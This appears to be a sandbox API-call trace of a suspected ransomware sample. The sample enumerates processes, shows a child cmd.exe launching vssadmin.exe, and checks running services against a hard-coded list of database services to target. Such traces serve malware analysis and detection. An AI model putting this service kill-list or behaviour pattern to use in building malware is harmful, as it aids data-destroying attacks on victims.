	[0170.877] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.877] lstrlenW (lpString="svchost.exe") returned 11
	[0170.877] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.878] lstrlenW (lpString="svchost.exe") returned 11
	[0170.878] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.878] lstrlenW (lpString="svchost.exe") returned 11
	[0170.878] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.879] lstrlenW (lpString="svchost.exe") returned 11
	[0170.879] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.879] lstrlenW (lpString="svchost.exe") returned 11
	[0170.879] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.879] lstrlenW (lpString="svchost.exe") returned 11
	[0170.879] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.880] lstrlenW (lpString="svchost.exe") returned 11
	[0170.880] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.880] lstrlenW (lpString="svchost.exe") returned 11
	[0170.880] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0170.881] lstrlenW (lpString="spoolsv.exe") returned 11
	[0170.881] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.881] lstrlenW (lpString="svchost.exe") returned 11
	[0170.881] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0170.881] lstrlenW (lpString="audiodg.exe") returned 11
	[0170.881] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0170.882] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0170.882] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0170.882] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0170.882] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0170.883] lstrlenW (lpString="Memory Compression") returned 18
	[0170.883] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0170.883] lstrlenW (lpString="sihost.exe") returned 10
	[0170.883] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.884] lstrlenW (lpString="svchost.exe") returned 11
	[0170.884] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0170.884] lstrlenW (lpString="taskhostw.exe") returned 13
	[0170.884] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0170.884] lstrlenW (lpString="taskhostw.exe") returned 13
	[0170.884] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0170.885] lstrlenW (lpString="explorer.exe") returned 12
	[0170.885] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0170.886] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0170.886] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0170.886] lstrlenW (lpString="SearchUI.exe") returned 12
	[0170.886] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0170.886] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0170.887] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0170.887] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0170.887] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0170.887] lstrlenW (lpString="fvppjh.exe") returned 10
	[0170.887] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0170.888] lstrlenW (lpString="cmd.exe") returned 7
	[0170.888] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0170.888] lstrlenW (lpString="conhost.exe") returned 11
	[0170.888] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0170.889] lstrlenW (lpString="consent.exe") returned 11
	[0170.889] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0170.889] lstrlenW (lpString="vssadmin.exe") returned 12
	[0170.889] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0170.889] CloseHandle (hObject=0x540) returned 1
	[0170.889] Sleep (dwMilliseconds=0x1f4) 
	[0171.411] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0171.411] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0171.412] GetLastError () returned 0xea
	[0171.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0171.412] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0171.413] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0171.413] lstrlenW (lpString="Appinfo") returned 7
	[0171.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0171.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0171.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0171.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0171.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0171.413] lstrlenW (lpString="AppXSvc") returned 7
	[0171.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0171.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0171.414] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0171.414] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0171.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0171.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0171.414] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0171.414] lstrlenW (lpString="Audiosrv") returned 8
	[0171.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0171.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0171.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0171.414] lstrlenW (lpString="BFE") returned 3
	[0171.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0171.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0171.414] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0171.414] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0171.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0171.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0171.414] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0171.414] lstrlenW (lpString="CDPSvc") returned 6
	[0171.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0171.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0171.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0171.415] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0171.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0171.415] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0171.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0171.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0171.415] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0171.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0171.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0171.415] lstrlenW (lpString="CryptSvc") returned 8
	[0171.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0171.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0171.416] lstrlenW (lpString="DcomLaunch") returned 10
	[0171.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0171.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0171.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0171.416] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0171.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0171.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0171.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0171.416] lstrlenW (lpString="Dhcp") returned 4
	[0171.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0171.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0171.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0171.416] lstrlenW (lpString="Dnscache") returned 8
	[0171.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0171.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0171.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0171.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0171.416] lstrlenW (lpString="DPS") returned 3
	[0171.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0171.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0171.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0171.417] lstrlenW (lpString="DusmSvc") returned 7
	[0171.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0171.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0171.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0171.417] lstrlenW (lpString="EventLog") returned 8
	[0171.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0171.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0171.417] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0171.417] lstrlenW (lpString="EventSystem") returned 11
	[0171.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0171.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0171.417] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0171.417] lstrlenW (lpString="FontCache") returned 9
	[0171.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0171.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0171.417] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0171.417] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0171.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0171.417] lstrlenW (lpString="gpsvc") returned 5
	[0171.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0171.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0171.418] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0171.418] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0171.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0171.418] lstrlenW (lpString="iphlpsvc") returned 8
	[0171.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0171.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0171.418] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0171.418] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0171.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0171.418] lstrlenW (lpString="KeyIso") returned 6
	[0171.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0171.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0171.418] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0171.418] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0171.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0171.418] lstrlenW (lpString="LanmanServer") returned 12
	[0171.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0171.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0171.418] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0171.418] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0171.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0171.418] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0171.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0171.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0171.418] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0171.418] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0171.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0171.418] lstrlenW (lpString="lfsvc") returned 5
	[0171.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0171.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0171.418] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0171.419] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0171.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0171.419] lstrlenW (lpString="lmhosts") returned 7
	[0171.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0171.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0171.419] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0171.419] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0171.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0171.419] lstrlenW (lpString="LSM") returned 3
	[0171.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0171.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0171.419] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0171.419] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0171.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0171.419] lstrlenW (lpString="MpsSvc") returned 6
	[0171.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0171.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0171.419] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0171.419] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0171.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0171.419] lstrlenW (lpString="NcbService") returned 10
	[0171.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0171.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0171.419] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0171.419] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0171.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0171.419] lstrlenW (lpString="netprofm") returned 8
	[0171.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0171.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
